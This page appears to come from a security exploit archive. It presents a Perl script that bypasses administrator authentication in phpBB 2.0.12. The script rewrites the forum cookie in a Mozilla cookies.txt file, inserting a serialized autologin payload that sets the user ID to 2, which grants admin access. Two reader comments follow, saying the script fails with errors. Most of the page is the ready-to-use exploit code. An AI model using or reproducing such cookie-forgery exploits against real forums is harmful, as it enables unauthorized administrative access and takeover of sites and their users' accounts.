|
Brought to you by:
Suppliers of:
|
|
|
| |
"phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package."
This exploit modifies the UID field in the cookies.txt file of Mozilla's browsers in such a way that when the browser will try to access the phpBB forum it will be granted access with the user_id provided rather than the original one. |
| |
Credit:
The information has been provided by The Phuket.
Another exploit for the phpBB UID vulnerability can be found: http://www.securiteam.com/exploits/5KP0C0UF5M.html
|
| |
Exploit:
#!/usr/bin/perl
# phpBB 2.0.12 Session Handling Administrator Authentication
# Bypass EXPLOIT
# written by phuket
#
# The discoverer of this bug is unknown, says "Paiserist" who wrote a C exploit
for this bug.
# http://packetstormsecurity.org/0503-exploits/phpbbsession.c
#
#
# I tested this code with Firefox on my linux box, I do not know if it works with mozilla or on #windows
# $url is the name of the cookie ( www.phpbb.com / $url= phpbb.com ) Look at cookies.txt for the name of the cookie
# I wrote this exploit after reading "phpBB 2.0.12 Session Handling Administrator Authentication
# Bypass -SIMPLIFIED-" By PPC^Rebyte
# and it is based on his code
#
# Sorry for my bad english :/
$file = "/////cookies.txt" ; # path to your cookies.txt
$url = $ARGV[0];
open (FILE , '<'."$file" ) or die ('File does not exist') ; # path to your
cookies.txt file
@cookie= <FILE> ;
close FILE ;
$exploit = "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs". "%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D";
foreach $i (@cookie)
{
if ($i=~/$url/) {
$i =~ s/a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22". "%3Bs%3A6%3A%22userid%22%3Bs%3A(.*?)%3A%22(.*?)%22%3B%7D/$exploit/;
print "OK\n" ;
}
}
open (FILE , '>'."$file") or die ('Can not write Cookie') ; ;
print FILE @cookie ;
close FILE ;
#greetings to Jubeltrubel,Julien S.,crosbow,XFlorian,Nibble,Trasher and Invi ;)
#thx to Paiserist,PPC^Rebyte and to the unknown discoverer of this bug :)
#phuket
EOF
|
| Subject:
|
Exploit in Perl |
Date: |
19 Dec. 2006 |
| From: |
RevangelyonX |
Hello, i'm RevangelyonX, sometimes i can speak with Paterist on forums...
So, your script in Perl, using windows... make me some errors, at line 23 for exemple.
I tried to change cookie's directory but anychange realised.
also, i tried to compile The Script in C created by Paterist, but it has some errors too... i'm not an expert in C...
Well, sorry, i'm spanish :P i don't know to speak in English xD.
Cuuu |
|
| Subject:
|
dont work |
Date: |
31 Oct. 2008 |
| From: |
francesco |
| this exploit dont work ..some errors |
|
|
|
|
|
|
